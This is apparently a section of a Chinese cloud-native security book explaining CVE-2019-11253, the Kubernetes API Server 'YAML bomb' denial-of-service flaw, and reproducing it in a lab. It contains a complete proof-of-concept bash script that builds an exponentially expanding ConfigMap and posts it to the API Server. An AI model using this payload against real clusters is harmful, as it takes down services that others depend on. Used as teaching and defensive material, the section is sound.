4.4.1 CVE-2019-11253:YAML炸弹
CVE-2019-11253是一个存在于API Server对YAML、JSON数据解析流程中的漏洞,CVSS 3.x评分为7.5分。恶意的YAML、JSON载荷可能使API Server大量消耗CPU、内存资源,从而导致拒绝服务攻击。所有v1.0~v1.12和低于v1.13.12/v1.14.8/v1.15.5/v1.16.2版本的Kubenretes均受到影响。值得注意的是,在v1.14.0以前的版本中,默认RBAC策略允许匿名用户发送请求,从而触发漏洞。
另外,这个漏洞的曝光过程也很特别——最早由一位Kubernetes用户在Stack Overflow提出[1]。问题提出后,另一位Stack Overflow网友向Kubernetes官方团队报告了这个问题[2]。最终,官方对此进行了修复[3]。
笔者环境中漏洞被触发后API Server所在节点上的资源使用率如下,漏洞利用效果十分明显,如图4-6所示。
图4-6 CVE-2019-11253漏洞触发后的节点资源使用情况
这个漏洞的本质是YAML解析问题,又名“YAML炸弹”。这个命名让我们很容易联想到3.4.3节提到的“Fork炸弹”,它们的效果也是类似的——拒绝服务。事实上,解析不当导致的拒绝服务攻击并不在少数,如Fork炸弹、YAML炸弹、XML炸弹、ZIP炸弹和正则表达式拒绝服务攻击(ReDoS)等。
其中,YAML炸弹、XML炸弹和ZIP炸弹的原理是相似的,它们被归为一类攻击形式——Billion Laughs Attack,直译过来就是“十亿笑攻击”。这个命名可能不太好理解,参考维基百科,更直观的名称是“指数型实体扩展攻击”(Exponential Entity Expansion Attack)[4]。该攻击方式理论上存在于所有支持“引用”的文件格式中。
根据官方文档[5],YAML支持以“&”添加锚点、“*”添加别名进行引用。
以下面的YAML文件为例:
a1: &a1 ["test", "test2"] a2: [*a1,*a1]
结合上面的背景知识,它实际上等同于:
a1: ["test1", "test2"] a2: [["test1", "test2"], ["test1", "test2"]]
也就是说,a1包含2个字符串,a2包含4(22)个字符串。那么,如果我们进一步添加一个a3:
a1: &a1 ["test", "test2"] a2: &a2 [*a1,*a1] a3: [*a2, *a2]
此时,a3应该包含8(23)个字符串。
如果a1中包含c个字符串,a2中包含n个a1的引用,a3中包含n个a2的引用,以此类推,假设这个YAML文件中包含m个实体,第m个实体将包含nm×c个字符串,该文件完全扩展后,所有实体包含的字符串总数应为(n>1):
随着c、n、m的增大,整个文件扩展后包含的字符串个数将飞速增长。一方面,这意味着解析该文件所需的内存消耗会迅速变大;另一方面,解析过程本身也会大量占用CPU资源。
原理讲清楚了,我们做一个实验来复现漏洞。大家可以使用开源的metarget靶机项目在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:
./metarget cnv install cve-2019-11253
即可部署好存在CVE-2019-11253漏洞的Kubernetes集群。
取c=m=n=9,在存在漏洞的Kubernetes集群上执行如下一系列操作,请求创建一个ConfigMap资源[6]:
#!/bin/bash # 查看Kubernetes版本 kubectl version | grep Server # 开启通向API Server的代理 kubectl proxy & # 创建一个恶意ConfigMap文件(n=9) cat << EOF > cve-2019-11253.yaml apiVersion: v1 data: a: &a ["web","web","web","web","web","web","web","web","web"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] kind: ConfigMap metadata: name: yaml-bomb namespace: default EOF # 向API Server发出ConfigMap创建请求 curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H "Content-Type: application/yaml" --data-binary @cve-2019-11253.yaml
在执行的过程中,我们始终打开htop工具监控系统资源使用情况,很快就可以看到资源大量消耗的效果,如图4-7所示。
图4-7 执行漏洞利用程序后的节点资源使用情况
[1] https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sendingconfigmap。
[2] https://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/。
[3] https://github.com/kubernetes/kubernetes/issues/83253。
[4] https://en.wikipedia.org/wiki/Billion_laughs_attack。
[5] https://yaml.org/spec/1.2/spec.html#id2760395。
[6] 随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0404-K8s 拒绝服务攻击/CVE-2019-11253-poc.sh。